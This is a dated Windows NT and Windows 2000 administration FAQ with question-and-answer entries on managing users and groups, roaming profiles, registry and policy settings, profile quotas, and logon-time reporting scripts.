Disabling all users in a group

If you wanted to create a script enter the following into file dsblgrp.bat. The usage is

dsblgrp <group name>
e.g. dsblgrp savilltech\sales

REM
REM dsblgrp <group name>
REM by John Savill, 20th July 1998
REM
showmbrs %1 > users.txt
for /f "skip=2" %%I in (users.txt) do net user %%I /active:no /domain

Make sure you use two %% before the I or it won't work.

There is a problem with showmbrs.exe that only view groups with less than 7 members. To fix this download the fixed version from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/reskit/nt40/i386/Shombrs.exe


Q. How can I remove a user from a group from the command prompt?

A. If the group is a local group perform the following:

C:\> net localgroup <group name> <user> /delete
e.g. C:\> net localgroup Administrators savillj /delete

If the group is part of a domain user

C:\> net group <group name> <user> /delete /domain


Q. How can I remove the : from the time?

A. This can be accomplished by editing the registry

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\International
  3. Double click on the sTimeFormat
  4. Remove the : between the HH:mm
  5. Click OK
  6. Close the registry editor

To see the change logoff and on again.


Q. How can I rename a user from the command prompt?

A. A utility, RENUSER.EXE exists which can be downloaded from http://www.ntfaq.com/ntfaq/download/renuser.zip which has the following usage:

C:\> renuser <old username> <new username> [<domain name>]
e.g. C:\> renuser savillj johns savilltech


Q. Roaming profiles are not saved to the server.

A. If a user is a member of the Domain Guests group then no changes to profiles are stored, therefore you should check the members of the Domain Guests group do not include those users that are having the problem.


Q. I have made user shares hidden now connection fails.

A. To hide a share all you need to do is add the $ sign to the end, for example, \\server\share$.

If previously in your logon scripts you had the command

net use f: \\<server>\%username%

it will no longer work as the share is hidden with the $ and to connect you will need to specifically specify the $ so change the command to

net use f: \\<server>\%username%$


Q. How can I disable the Display control panel applet?

A. Using policies it is possible to disable the display control panel applet, however it can also be accomplished using the registry editor

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NoDispCPL and press enter
  5. Double click the new value and set to 1
  6. Close the registry editor

The change takes immediate effect and if you try and run the display control panel applet either by right clicking on the desktop and selecting properties or starting from the control panel applet you will receive the message

"Your system administrator disable the Display control panel"


Q. How can I disable elements of the Display control panel applet?

A. Again using policies it is possible to disable elements of the display control panel applet, however it can also be accomplished using the registry editor

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
  3. From the Edit menu select New - DWORD value
  4. Enter any of the following as outlined in the table below.
  5. Double click the new value and set to 1
  6. Close the registry editor
NoDispAppearancePage | Removes the Appearance tab which means users cannot change the colours or colour scheme
NoDispBackgroundPage | Removes the Background tab meaning no more Pamela Anderson background (damn!)
NoDispScrSavPage | Removes the Screen Save tab
NoDispSettingsPage | Removes the Settings and the Plus tab

These change takes immediate effect and any disabled tab will not be displayed.

Of course the user can go into the registry and change these back which is why it is better to implement these as policies (which is what I do), however as they take immediate effect there is nothing to stop someone creating a reg script to run as part of the start-up group, which sets it to how they want to get round the policy, but I would never condone this :-)


Q. How do I debug roaming profiles?

A. It is possible to create a log file of all roaming profile transactions using the checked version of userenv.dll. The checked version of the UserEnv.dll is the same dynamic link library (.dll) as the retail version, except that it contains debug flags that you can set and use with the kernel debugger. This file, which is included in both the Windows NT Device Driver Kit (DDK) and the Windows NT Software Development Kit (SDK)

  1. Rename the Userenv.dll file in the %systemroot%\System32 directory to Usernv.org.
    C:\> rename %systemroot%\system32\userenv.dll userenv.org
  2. Copy the checked version of Userenv.dll to the %systemroot%\System32 directory of the client computer that you want to debug. The checked version of the Userenv file must match the version of the operating system being used.
    C:\> copy userenv.chk %systemroot%\system32\userenv.dll
  3. Start the registry editor (regedit.exe)
  4. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  5. From the Edit menu select New - DWORD value
  6. Enter a name of UserEnvDebugLevel and press ENTER
  7. Double click the new value, set the type to hexadecimal and set to 10002. Click OK
  8. Reboot the computer

A log file of the roaming profile transactions will be written to userenv.log to the root of the C: drive. Below is an profile log.

=========================================================
LoadUserProfile: Entering, hToken = <0xb0>, lpProfileInfo = 0x12f4e8
LoadUserProfile: lpProfileInfo->dwFlags = <0x2>
LoadUserProfile: lpProfileInfo->lpUserName = <savillj>
LoadUserProfile: lpProfileInfo->lpProfilePath = <\\titanic\Profiles\savillj>
LoadUserProfile: lpProfileInfo->lpDefaultPath = <\\TITANIC\netlogon\Default User>
LoadUserProfile: lpProfileInfo->lpServerName = <\\TITANIC>
LoadUserProfile: lpProfileInfo->lpPolicyPath = <\\TITANIC\netlogon\ntconfig.pol>
ParseProfilePath: Entering, lpProfilePath = <\\titanic\Profiles\savillj>
ParseProfilePath: Tick Count = 20
ParseProfilePath: FindFirstFile found something with attributes <0x10>
ParseProfilePath: Found a directory
LoadUserProfile: ParseProfilePath returned a directory of <\\titanic\Profiles\savillj>
RestoreUserProfile: Entering
RestoreUserProfile: Profile path = <\\titanic\Profiles\savillj>
RestoreUserProfile: User is a Admin
IsCentralProfileReachable: Entering
IsCentralProfileReachable: Testing <\\titanic\Profiles\savillj\ntuser.man>
IsCentralProfileReachable: Profile is not reachable, error = 2
IsCentralProfileReachable: Testing <\\titanic\Profiles\savillj\ntuser.dat>
IsCentralProfileReachable: Found a user profile.
RestoreUserProfile: Central Profile is reachable
RestoreUserProfile: Central Profile is floating
GetLocalProfileImage: Found entry in profile list for existing local profile
GetLocalProfileImage: Local profile image filename = <%SystemRoot%\Profiles\savillj>
GetLocalProfileImage: Expanded local profile image filename = <E:\WINNT\Profiles\savillj>
GetLocalProfileImage: No local mandatory profile. Error = 2
GetLocalProfileImage: Found local profile image file ok <E:\WINNT\Profiles\savillj\ntuser.dat>
Local profile is reachable
Local profile name is <E:\WINNT\Profiles\savillj>
RestoreUserProfile: About to call UpdateToLatestProfile
UpdateToLatestProfile: Entering. Central = <\\titanic\Profiles\savillj> Local = <E:\WINNT\Profiles\savillj>
UpdateToLatestProfile: Central and local profile times match.
RestoreUserProfile: About to Leave. Final Information follows:
Profile was successfully loaded.
lpProfile->szCentralProfile = <\\titanic\Profiles\savillj>
lpProfile->szLocalProfile = <E:\WINNT\Profiles\savillj>
lpProfile->dwInternalFlags = 0x112
RestoreUserProfile: Leaving.
UpgradeProfile: Entering
UpgradeProfile: Build numbers match
UpgradeProfile: Leaving Successfully
ApplyPolicy: Entering
ApplyPolicy: PolicyPath is: <\\TITANIC\netlogon\ntconfig.pol>.
ApplyPolicy: Local PolicyPath is: <E:\WINNT\Profiles\savillj\prf1.tmp>.
ApplyPolicy: Looking for user specific policy. OpenUserKey: No entry for savillj, using .Default instead.
CopyKeyValues: EnableProfileQuota => 1 <OK>
CopyKeyValues: ProfileQuotaMessage => You have exceeded your profile storage space. Before you can log off, you need to move some items from your profile to network or local storage. <OK>
CopyKeyValues: MaxProfileSize => 48 <OK>
CopyKeyValues: WarnUserTimeout => 15 <OK>
ApplyPolicy: Processing group(s) policy.
ApplyPolicy: Failed to get group processing order.
ApplyPolicy: Looking for machine specific policy.
OpenUserKey: No entry for ODIN, using .Default instead.
ApplyPolicy: Leaving with 1
LoadUserProfile: Leaving with a value of 1. hProfile = <0x90>
=========================================================


Q. How can I copy a user profile?

A. User profiles are stored under the %systemroot%\profiles directory, but if you just try to copy this to someone else the new user will not have permission to use the profile. Instead the following procedure must be used.

  1. Logon as an Administrator
  2. Start the System Control Panel Applet (Start - Settings - Control Panel - System)
  3. Click the User Profiles tab
  4. You will see a list of all the profiles stored on the machine. Select the one which you wish to copy
  5. Click the "Copy to" button
  6. In the "Copy profile to" enter the location where you want it copied to. If you wanted to use as a roaming profile you would enter the netlogon location on a domain controller, usually %systemroot%\system32\Repl\Export\Scripts, you want the Export area not Import as anything in Export is copied to the import by the replication process.
  7. In the "Permitted to use" click Change. Select Everyone and click Add or just the user who will use it, then click OK.
  8. Click OK to start the copy.

You should then check that the file ntuser.dat has been created where you selected.

If you have trouble exporting a profile see Q. I get an error when I try to export a profile other than Administrator.


Q. What are the differences between NT and 9x profiles?

A. The first differences is that difference files are used:

Windows NT | Windows 9x
NTuser.dat | User.dat
NTuser.dat.LOG | User.da0
NTuser.man | User.man

The Windows 9x User.da0 and the NT NTuser.dat.Log files work in a different way. Everytime you log off in Windows 9x a copy of User.dat is copied to to User.da0. Windows NT uses NTuser.dat.LOG as a transaction log file to provide fault tolerance. This allows Windows NT to recover the user profile if a problem occurs while Windows NT is updating NTuser.dat.

This obviously means you can't share a profile between the two OS's. Other differences include:

  • Windows 95 does not support common groups
  • Windows 95 user profiles do not copy all desktop items, copied items are restricted to shortcuts (.lnk) and program information (.pif) files.
  • Windows 95 user profiles don’t support a centrally stored Default User profile.
  • Windows 95 clients don’t use the Windows NT Server profile path to obtain roaming user profiles. They can be retrieved only from the user’s home directory.
  • To use mandatory user profiles on computers running Windows 95 on a Windows NT Server network, an administrator must create a custom user profile for each user and copy the user profile files to each user’s home directory.
  • Windows 95 does not support the Application Data folder that makes up the folders structure.


Q. When I log off all my home directory files are deleted.

A. The most common cause is if your roaming profile path and your home directory path are the same. It seems that part of the update makes sure the contents of the directories (and subdirectories) are the same, and as the local profile directory does not contain your home directory files they are deleted!

You should therefore change the location of the roaming profile so it is different from the users home directory. It may be a subdirectory if you wish. This can be changed by using the User Manager application, click the Profiles button and change the locations.


Q. How can I delete a local profile?

A. Using the System Control panel applet any locally stored profile can be deleted.

  1. Start the System control panel applet (start - settings - control panel - system)
  2. Click the "User Profiles" tab
  3. Select the profile and click Delete
  4. Click Yes to the confirmation
  5. Click OK

Please note you can't delete a profile if you are currently logged on as that user, an area that the profile is in use will be displayed.

If you want to remotely delete a locally stored profile you can use the DELPROF.EXE utility which is supplied with the Windows NT Server Resource Kit. The tool deletes all profiles that have not been used for a given number of days, for example

C:\>delprof /p /q /i /c:\\garfield /d:3

Would delete any profiles that have not been used for 3 days. The /p prompts for confirmation before deleting each profile, the /q suppresses the starting:

Delete profiles on \\garfield that have not been used in the last 1 days? (Yes /No)

prompt. The /i ignores errors, /c is the computer name and /d: is the number of days the profile needs to be older than.


Q. Copy profile locally problems.

A. If you are not using roaming profiles but are instead just copying a profile for another domain user on the local machine you may just create a directory under profiles for the user and copy it there as per the instructions in Q. How can I copy a user profile?

If you do this you will find that when the user logs in for the first time for whom you copied the profile, they will not use the directory you created for them, but instead a <username>.000 will be created instead. This is because a mapping is used for the user to the Profile area and if the user logs in for the first time and a directory of its user name already exists it won't use it and will instead create a new area of the format <username>.nnn where nnn starts at 000.

The workaround to this is to logon as the domain user first, logout and then copy the profile as this will setup the correct mapping of the user to profile area.

If this has already happened perform the instructions in Q. Defining the profile area to use for a user.


Q. Defining the profile area to use for a user.

A. By default when a user logs on for the first time at a machine a directory under %systemroot%\profiles is created under the name of the user to hold the users profile, e.g. for user saviljo the area created would be %systemroot%\profiles\saviljo.

Problems arise if the directory already exists and so an alternate directory <user name>.nnn will be created, starting with 000. This mapping is stored in the registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList. You can therefore force a user to use a specific profile area by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
  3. Find the SID that relates to the user (check the ProfileImagePath value)
  4. Once found double click on ProfileImagePath and remove the .nnn, e.g.
    %SystemRoot%\Profiles\garfield.000
    to
    %SystemRoot%\Profiles\garfield
  5. Click OK
  6. Close the registry editor

The user should now login using the profile you originally copied for them. Once you are sure it works you can delete the <username>.nnn directory under %systemroot%\profiles. You should make sure the user has the right to user the original profile, for example if you have copied it to that location and granted rights accordingly.


Q. How can I view which local groups on a trusting domain a user belongs to?

A. The normal method for checking which local groups a user belongs to on a machine would be to start User Manager and double click on the user in question and click the Groups button.

If however you wanted to see which local groups on a server a member of another domain belonged to there is no way to do this. Fortunately a utility from http://www.fidutec.com has been released as FreeWare which does exactly this. The diagram below best illustrates how it works.

Download from http://www.ntfaq.com/ntfaq/download/gestgrp.exe


Q. How do I limit user profile space?

A. Service Pack 4 introduces PROQUOTA.EXE which is used to limit user quotas.

Profile quotas are enabled by using a system policy.

  1. Start the System Policy editor (poledit.exe)
  2. Load the templates Common.adm and Winnt.adm (from the Options menu select "Policy Template" from the %systemroot%\inf directory)
  3. Create a new policy (File - "New Policy")
  4. Open Default User, and then expand Windows NT User Profiles.
  5. When you select Limit Profile Size, the following option are available:
    - Custom Message - The text in the dialog box that appears when the user's profile exceeds the quota.
    - Max Profile Size - The maximum size of the user profile. This value defaults to 30,000 KB, so administrators will want to carefully consider how low they set this value. This is especially true, given the fact that users will not be able to successfully log off if their profile is too large.
    - Include registry in file list - When the user exceeds the profile quota, an error icon appears in the system tray. Double-clicking the icon brings up a tool that lists all the files in the profile, as well as the file size from the largest file to the smallest. By default, the list does not include files that are smaller than 2 KB. Users can consult this list to determine which files can be erased, moved to server-based storage, or backed up to offline storage. When this option is checked, the users' registry settings, Ntuser.dat, will be included in the list. Users cannot delete this file.
    - Notify user when profile storage space is exceeded - By default, users will get a dialog box informing them that their user profile is too large only when they attempt to log off. With this option selected, a dialog box appears as soon as the profile reaches the quota size, and at a configurable interval thereafter.
  6. A second option is to select "Exclude directories in roaming profile" which does not include specified directories as part of the users profile
  7. Once complete save the file to the netlogon share of the domain controller as NTCONFIG.POL

Ensure clients have the PROQUOTA.EXE image by either installation Service Pack 4 on them or manually copy the file to the %systemroot%\system32 directory.

When the clients log back on they will now have their quotas monitored and these can be examined by clicking the proquota small icon.

NOTE: Remember that the user will not be able to log off if the user profile quota is exceeded, and, by default, small files are not listed in the dialog that displays the files contained in the profile. If Internet Explorer 4.x is installed, these small files could include the entries in the Temporary Internet Files folder. This cache uses a small percentage of the total drive space, but can easily grow to be several megabytes in size. To delete these files, the user will need to empty the cache through the Internet Explorer Internet Options dialog box.

If quotas are enabled and the user cannot logoff, the PROQUOTA.EXE process can be killed in Task Manager. This will allow the user to logoff.

The following list describes the registry keys and values for Profile Quotas in the following registry key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

  • EnableProfileQuotaREG_DWORD0|1 - This setting turns profile quotas on or off.
  • ProfileQuotaMessageREG_SZ - Default: "You have exceeded your profile storage space. Before you can log off, you need to move some items from your profile to network or local storage."
  • MaxProfileSizeREG_DWORD0x12C-0x7530 - Default: 0x7530 - This setting specifies the quota size in kilobytes.
  • WarnUserREG_DWORD0|1 - This setting specifies weather to warn the user as soon as the profile exceeds the quota; not to wait until the user attempts to log off. In addition, it specifies weather to keep prompting the user to reduce the profile size at the interval set in WarnUserTimeout.
  • WarnUserTimeoutREG_DWORD0x0-0xFFFFFFFF - Default: 0xF - This setting specifies how often the Warning dialog appears if the WarnUser setting above is turned on.


Q. I can't logoff as my user profile quota is over the limit.

A. Service Pack 4 introduced PROQUOTA.EXE which allows user profile space to be limited. In the event of the quota exceeded the user will not be able to logoff until the profile size has been reduced to within the limit.

If you need to logoff then you can simply stop the PROQUOTA.EXE process.

  1. Right click on the Task bat and select Task Manager
  2. Click the Processes tab
  3. Select PROQUOTA.EXE and press the "End Process" button
  4. Click Yes to the confirmation
  5. Close Task Manager
  6. Logoff

If you have the resource kit you could just enter the command

C:\> kill proquota


Q. How do I grant user rights in Windows 2000?

A. In Windows NT 4.0 user rights are assigned via User Manager - Policies - User Rights.

User Manager has been replaced in Windows 2000 and the way to assign user rights is not obvious!

  1. Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management)
  2. Expand System Tools branch then Group Policy - Windows Settings - Security Settings - Local Policies - User Rights Assignment
  3. Double click on the user right you wish to grant
  4. Click Add and select the users/groups. When completed click OK
  5. Click OK to close the user right assignment

Remember if you are setting this for a domain controller, DC's are by default in an OU (Organisational Unit) called Domain Controllers which has a setting for User Rights which will override any setting on the local computer. To edit the Group Policy Object (GPO) for the DC OU, right click on the OU in Active Directory Users and Computers, select Properties then the Group Policy tab.

Windows 2000 User Rights


Q. How can I logoff from the command prompt?

A. The Windows NT 4.0 Resource Kit Supplement 2 ships with the utility LOGOFF.EXE and this can be used to logoff from the command line.

The syntax is

C:\> logoff [/f] [/n]

Where the option /f means running processes will be closed without asking to save unsaved data but will ask for confirmation. /n will logoff without confirmation but will ask to save unsaved data.

Using both together will result in no confirmation and all unsaved data being lost.


Q. Where is User Manager in Windows 2000?

Q. Where is User Manager for Domains in Windows 2000?

A. Windows 2000 no longer users User Manager for domain account administration. The new tool is the "Directory Management" MMC. See Q. How do I administer domain users in Windows 2000? for more information.


Q. How do I administer domain users in Windows 2000?

Q. How do I administer domain users in Windows 2000? - Windows 2000 only

A. Windows 2000 has a whole new look for its administration tools with Microsoft Management Console (MMC) snap-ins, and for the administration of domain users the Domain Management MMC snap-in is used. This is selected from the Administrative Tools folder (Start - Programs - Administrative Tools - Directory Management)

Once started expand the domain and Users branch to see the users.

Directory Management MMC

Context menus are heavily used in Windows 2000, and an example is to change a users password simply right click on the user and select "Reset Password".

Reset a user password

Selecting Properties allows other properties of the user to be set such as group membership, profile location etc.


Q. How do I remove the Goto menu from Explorer?

A. Service Pack 4 for Windows NT 4.0 and Windows 2000 support a system policy "Remove Tools->GoTo menu from Explorer". To configure via the policy editor, poledit.exe, perform the following:

  1. Start the policy editor
  2. Load a policy or create a new one
  3. Select "Default User"
  4. Expand Windows NT Shell, Restrictions
  5. Check "Remove Tools->GoTo menu from Explorer"
  6. Click OK
  7. Save

Alternatively you can perform this directly in the registry

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select New - Binary value
  4. Enter a name of "NoGoTo" and press Enter
  5. Double click the new value and set to 1
  6. Click OK
  7. Close the registry editor


Q. How do I rename a global group?

A. There is no application way to rename a global group, the only action that can be taken is to create a new global group and copy the contents:

  1. Start User Manager for Domains (Start - Programs - Administrative Tools - User Manager)
  2. Select the Global group you wish to rename in Group area of User Manager
  3. From the User menu select Copy or just click F8
  4. Enter a new group name and description
  5. Click OK

You will notice the content of the original group has been copied over. You can now delete the original global group but be careful, global groups are often used in local groups in the specific domain and any trusting domains so ensure it is not used anywhere prior to deletion.

In Windows 2000 you can rename global groups just be selecting them and selecting rename from the context menu.

An API exists, NetGroupSetInfo, which allows you to change its name with GROUP_INFO_0 and specify a value using grpi0_name.


Q. Global groups over 20 characters create problems, why?

A. When you create a global group using User Manager it will not allow you to create a global group of more than 20 characters, Local groups do not have this restriction.

This limit is imposed to allow for interoperability with OS/2 LAN Manager, DOS LAN Manager, IBM LAN Server, and Windows for Workgroups.

You may have created a global group of more than 20 characters if you wrote a custom application that called the NetGroupAdd() function. Always limit your programs to 20 characters using LM20_GNLEN constant as defined in LMCONS.H.

You may find the group works fine until you try to access it in User Manager then you would get the message below:

The following error occurred accessing the properties of the group <group name>:

The filename, directory name, or volume label syntax is incorrect.

The group properties cannot be edited or viewed at this time.

To fix the problem you would need to write a custom app calling the NetGroupDel function as you can't rename a global group.


Q. How can I disable the "Logon Using Dial-Up Networking" at logon time?

A. It is possible to disable the "Logon Using Dial-Up Networking" check box when logging on by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - String Value
  4. Enter a name of RASDisable
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor

The change will take effect at next reboot and the logon using dial-up networking box will be greyed out.


Q. How can I stop a user closing the login script before it completes?

A. Jobst Schmalenbach has written an updated Gina.dll which can be configured to log the user off is they attempt to close the login script before it completes execution.

It can be downloaded from http://senna.eng.monash.edu.au/~jobst/WindowsNT/index.html and contains full configuration instructions.

An alternative is to hide it. This can be done by creating DWORD value HKEY_USERS\<user>\Console\WindowSize and set to 050005 in Hex and HKEY_USERS\<user>\Console\WindowPosition set it to 04FF06FF in Hex. This makes the Window very small and positions it off the screen.


Q. How can I configure a screen saver using a System Policy?

A. Its possible to write your own .adm file (which is what System Policy Editor uses) to create a more flexible Screen Saver policy.

  1. Enter the text below into a text file and save it as Scrsave.adm in the %systemroot%\Inf folder

    CLASS USER

    CATEGORY !!Screen_Saver_Policy
      POLICY !!Screen_Saver
      KEYNAME "Control Panel\Desktop"
        PART !!Screen_Saver_Location
        EDITTEXT DEFAULT !!DEF_SCREEN_SAVER
        VALUENAME SCRNSAVE.EXE
        END PART
      END POLICY
      POLICY !!ENABLE_SCREEN_SAVER
      KEYNAME "Control Panel\Desktop"
        VALUENAME ScreenSaveActive
        VALUEON "1" VALUEOFF "0"
      END POLICY
      POLICY !!ENABLE_Password
      KEYNAME "Control Panel\Desktop"
        VALUENAME ScreenSaverIsSecure
        VALUEON "1" VALUEOFF "0"
      END POLICY
    END CATEGORY

    [strings]
    Screen_Saver_Policy="Screen Saver Policies"
    Screen_Saver="Screen Saver"
    ENABLE_SCREEN_SAVER="Enable Screen Saver"
    Screen_Saver_Location="Enter the location of the Screen Saver"
    DEF_Screen_Saver="%SYSTEMROOT%\system32\logon.scr"
    ENABLE_Password=Enable Password

     Click here to download this in a file.
  2. Open System Policy Editor and click Options and then click Policy Template.
  3. Add Scrsave.adm to the list of template files. If Add is not an option then you must already have a policy open so close from the File menu.
  4. The additional options will show under any user or group in the policy, with a label of "Screen Saver Policies."
  5. You would then save this policy as per normal.

Scrsave in action


Q. How can I tell at what time I logged on?

A. If you type

C:\> net statistics workstation

from the command prompt it will show you the time the workstation service started which does NOT necessarily reflect the last logon time as some sources would have you believe.

If you press Ctrl - Alt - Del then you will also be shown the logon date and time.

The best way is to use the Event Viewer:

  1. Start the Event Viewer (Start - Programs - Administrative Tools - Event Viewer)
  2. From the File menu select Security
  3. Look for the latest event 528 which is a Success Audit
  4. Double click on it for complete information

You will need to ensure auditing is enabled for logon success and failure

  1. Start the User Manager (Start - Programs - Administrative Tools - User Manager)
  2. Select Audit from the Policies menu
  3. Enable "Audit These Events" and select "Logon and Logoff" success and failure. Click OK
  4. Close User Manager


Q. How can I stop certain folders being replicated as part of the user profile?

A. Service Pack 4 introduced a new registry setting, ExcludeProfileDirs, which can be used to exclude certain directories from the replication of user profiles.

To implement perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - String value
  4. Enter a name of ExcludeProfileDirs and press Enter
  5. Double click the new value and set to the relevant areas, separating them by semi-colons, for example
    Local Settings\Application Data\Microsoft\Outlook;Temporary Internet Files;Personal
    Click OK
  6. Close the registry editor

This can also be done via a system policy:

  1. Start the Policy Editor (poledit.exe)

  2. Create a new policy (or open an existing one providing it was created after SP4 installation)

  3. Double click Default User

  4. Expand 'Windows NT User Profiles'

  5. Check the 'Exclude directories in roaming profile'

  6. In the data box type the name of the directories to be excluded

  7. Click OK

  8. Save the policy to the netlogon share of the PDC


Q. How can I generate a list of last user logon times for a domain?

A. I've written a small bit of VBScript which using the Windows Scripting engine can be used to generate a list of all user last logons (if the last logon time is not available the user will be omitted). You will need Windows Scripting Host installed, see 'What is the Windows Scripting Host' for more information'.

Save the following text into file userlogin.vbs

' List last logon times
' 07-09-1999 John Savill, http://www.ntfaq.com
on error resume next
set oDomain = GetObject("WinNT://SAVILLTECH")
WScript.echo "Domain : " + oDomain.name
for each oDomainItem in oDomain
if oDomainItem.Class = "User" then
WScript.echo "Full Name=" + oDomainItem.FullName + "Last login=" + formatdatetime(oDomainItem.LastLogin)
end if
next

In line 'set oDomain = GetObject("WinNT://SAVILLTECH")' you should change SAVILLTECH to your domain name.

To run type the following:

C:\> cscript userlogin.vbs

Below is a sample output:

C:\>cscript d:\temp\disuser.vbs
Microsoft (R) Windows Scripting Host Version 5.0 for Windows
Copyright (C) Microsoft Corporation 1996-1997. All rights reserved.

Domain : SAVILLTECH
Full Name=Maria Aala (DIS 120 inactive)Last login=27/05/1999 14:44:24
Full Name=Paul J AaronLast login=16/08/1999 13:01:56
Full Name=Hany A AbbasLast login=23/08/1999 13:25:46
Full Name=Tony S AbbittLast login=27/08/1999 15:07:20
Full Name=Adnan AbdallahLast login=16/07/1999 10:34:58
Full Name=Tony AbelaLast login=21/07/1999 10:43:20
Full Name=Juan Claudio AbelloLast login=25/06/1999 11:15:32
Full Name=Marie J B AbreyLast login=07/09/1999 08:00:34
Full Name=Philippa AbsilLast login=07/09/1999 06:33:18
Full Name=Ace Test account for NetID - Alistair PurvisLast login=28/01/1999 07:5
4:30
Full Name=Chris AckermannLast login=07/09/1999 08:21:20
Full Name=Curtis S AdamsLast login=10/08/1999 12:32:02
Full Name=Helen R Adams DIS user left 27.8.99Last login=02/08/1999 08:52:58
Full Name=Michael Adams Dis 4.6.99 NMFLast login=03/06/1999 08:50:10
Full Name=Philip R AdamsLast login=14/06/1999 12:49:00

The advantage of using VBScript is you can change the code to output exactly what you want but don't mail me asking for help changing it!

In the above example it only checks with the PDC. If you have BDC's these values may be wrong as last logon times are not updated from BDC's to the PDC. You may want to update the script to also query the BDC's and display the latest time (if anyone does this feel free to mail it to me and I'll update the FAQ).

You can also use USRSTAT.EXE from the resource kit.


Q. How can I stop users creating persistent connections?

A. Persistent connections are those which are recreated after you logoff and logon again. It may be desirable to stop this and so a registry entry exists to disable users from creating persistent connections:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections
  3. Double click on SaveConnections
  4. Change to 'no' (don't type the quotes). Click OK
  5. Close the registry editor

The above would disable for new users. To disable for current users perform the same but on the HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections\SaveConnections value.


Q. How can I map a drive/port for all new users on a machine without scripts etc?

A. Using the following technique you can map some drives, then copy this change into the default user profile, then perform a little surgery.

Part I: create the Drive entries

  1. Log into your PC with your domain account (for arguments sake, you are "DoeJ" in the "Domain" Domain.)
  2. Map the "X:" drive to \\Server\Share$; Select Reconnect at Login (obviously you should use valid drive letters/shares for your own environment)

Part II: Get the entries into a REG file

  1. Log out, Log back in using a local administrator account.
  2. Launch REGEDIT32
  3. Go to the HKEY_USERS window
  4. Highlight the root key (HKEY_USERS)
  5. Select Registry | Load Hive
  6. Browse to the profile of your domain account (Probably: C:\Winnt\Profiles\DoeJ), select the NTUSER.DAT file; Give this hive the name "DefaultU"
  7. Notice that under the HKEY_USERS key that "DefaultU" has been added as a subkey.
  8. Launch REGEDIT (do not close REGEDT32)
  9. Browse to HKEY_USERS\DefaultU\Network\X, highlight the X.
  10. Export this key, noting where you save it to.
  11. Close REGEDIT (you cannot unload the hive if REGEDIT has it open)
  12. Highlight the DefaultU Hive in REGEDT32
  13. Select Registry | Unload Hive

Part III: Import the REG File to the Default User Profile

  1. Select Registry | Load Hive
  2. Browse to the profile of the Default User (Typically: C:\Winnt\Profiles\Default User), select the NTUSER.DAT file; Give this hive the name "DefaultU"
    *Note: you must use the same name you used in step 6 in part II for this to work...
  3. Import the .REG file you exported in step 12 by double clicking it.

Part IV: Perform Surgery to convert a specific entry to a generic entry

  1. Browse to HKEY_USERS\DefaultU\Network\X, highlight the X.
  2. Select the UserName Value (it would now show a REG_SZ with "Domain\DoeJ" as its data)
  3. Delete it (The value, not just the data)
  4. Edit | Add Value: Value Name: "UserName" Data Type: "REG_EXPAND_SZ" String: "%UserDomain%\%UserName%" (Case Sensitive)
  5. Highlight the HKEY_USERS\DefaultU Parent Key and unload it (Select Registry | Unload Hive)

Part V: Test your results

  1. Temporarily rename the DoeJ profile.
  2. Log out as the local administrator and log back in with the Domain\DoeJ credentials. NT will not find your old profile (you renamed it in step 25), and so then copy the contents of Default user into a new DoeJ folder and use them.
  3. Notice that you have an X drive, and did not have to use net use or map it with explorer.
  4. Since you are now upset because you lost all your desktop and software settings, log out as your DoeJ account and then back in as the local admin. Rename the newly created DoeJ profile folder and Rename your original DoeJ profile back.

This technique can be used for many things, but I find it most useful for the printer LPT: ports and network drives on multi-user and KIOSK machines. Note that only users that do not have profiles already stored on the PC will be affected by this change. I will typically implement this when I am building a new PC for a common area where everybody and his brother will be logging into it; they can use their own credentials, with the ability to get to their home directories, instead of a generic machine specific account.

Thanks to Steven Yarnot for this


Q. I'm not given a warning if logged on using cached credentials in Windows 2000.

A. In Windows NT 4.0 if you log on and no domain controller can be found you are logged on using cached information (assuming you have previously logged onto the machine). You are given a warning "A domain controller could not be contacted and you have been logged on using cached information".

This warning is disabled by default in Windows 2000 but can be enabled by performing the following on each computer:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - String Value
  4. Enter a name of ReportControllerMissing and press Enter
  5. Double click the new value and set to TRUE (must be uppercase). Click OK

Now for each user who you wish to have controller missing message displayed perform the following:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - DWORD Value
  4. Enter a name of ReportDC and press Enter
  5. Double click the new value and set to 1. Click OK

You may want to automate this via a logon script or via a policy template.

This warning was probably removed by default as most users would not understand the warning and just ignored it so be selective about re-enabling.


Q. How do I manually delegate authority in Windows 2000?

A. Windows NT basically had two types of users, Administrators and Users. While other groups exist such as Print Operators, Server Operators when it comes to authority of users you had all or none.

Now with the Directory Service holding much more than just passwords and profile settings its desirable for people other than Administrators to update information like address, telephone number (don’t want your highly paid Administrators managing the phone numbers!).

